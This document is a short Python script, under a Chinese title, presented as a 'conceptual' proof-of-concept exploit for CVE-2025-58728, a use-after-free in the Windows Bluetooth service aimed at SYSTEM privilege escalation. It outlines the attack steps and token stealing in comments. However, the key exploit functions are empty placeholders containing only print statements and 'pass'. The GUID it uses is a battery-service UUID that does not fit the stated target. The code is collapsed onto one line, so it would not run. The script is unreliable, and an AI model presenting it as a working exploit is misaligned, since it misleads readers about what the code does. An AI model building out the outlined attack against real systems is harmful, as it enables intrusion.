CVE-2025-58728 Windows蓝牙服务释放后使用漏洞

# CVE-2025-58728 Windows Bluetooth Service UAF Vulnerability PoC (Conceptual) # This is a conceptual proof-of-concept for the Use After Free vulnerability # in Windows Bluetooth Service. Actual exploitation requires specific knowledge # of the target system's memory layout. import ctypes import struct import os import sys # Check if running with appropriate privileges def check_privileges(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False # Bluetooth API constants BLUETOOTH_SERVICE_GUID = "{0000180F-0000-1000-8000-00805F9B34FB}" class BluetoothUAFExploit: def __init__(self): self.handle = None self.allocated_buffer = None self.freed_buffer = None def initialize_bluetooth(self): """Initialize Bluetooth service connection""" # Attempt to open Bluetooth service handle # This step requires Bluetooth hardware support try: # Placeholder for Bluetooth initialization print("[*] Initializing Bluetooth service...") return True except Exception as e: print(f"[-] Bluetooth initialization failed: {e}") return False def trigger_uaf(self): """Trigger the Use After Free condition""" # Step 1: Allocate memory through Bluetooth service # Step 2: Force the service to free the memory via malformed request # Step 3: Reallocate memory with controlled data # Step 4: Access the dangling pointer to achieve code execution print("[*] Attempting to trigger UAF in Bluetooth Service...") # Conceptual implementation - actual exploit requires # detailed knowledge of Windows Bluetooth driver internals pass def elevate_privileges(self): """Elevate privileges to SYSTEM level""" print("[*] Attempting privilege escalation...") # After successful UAF exploitation, execute token stealing # to elevate from current user to NT AUTHORITY\SYSTEM pass def main(): print("=" * 60) print("CVE-2025-58728 - Windows Bluetooth Service UAF PoC") print("For authorized security testing only") print("=" * 60) if not check_privileges(): print("[!] Note: Initial access requires low-privilege user account") exploit = BluetoothUAFExploit() if exploit.initialize_bluetooth(): exploit.trigger_uaf() exploit.elevate_privileges() else: print("[-] Failed to initialize. Ensure Bluetooth is enabled.") sys.exit(1) if __name__ == "__main__": main()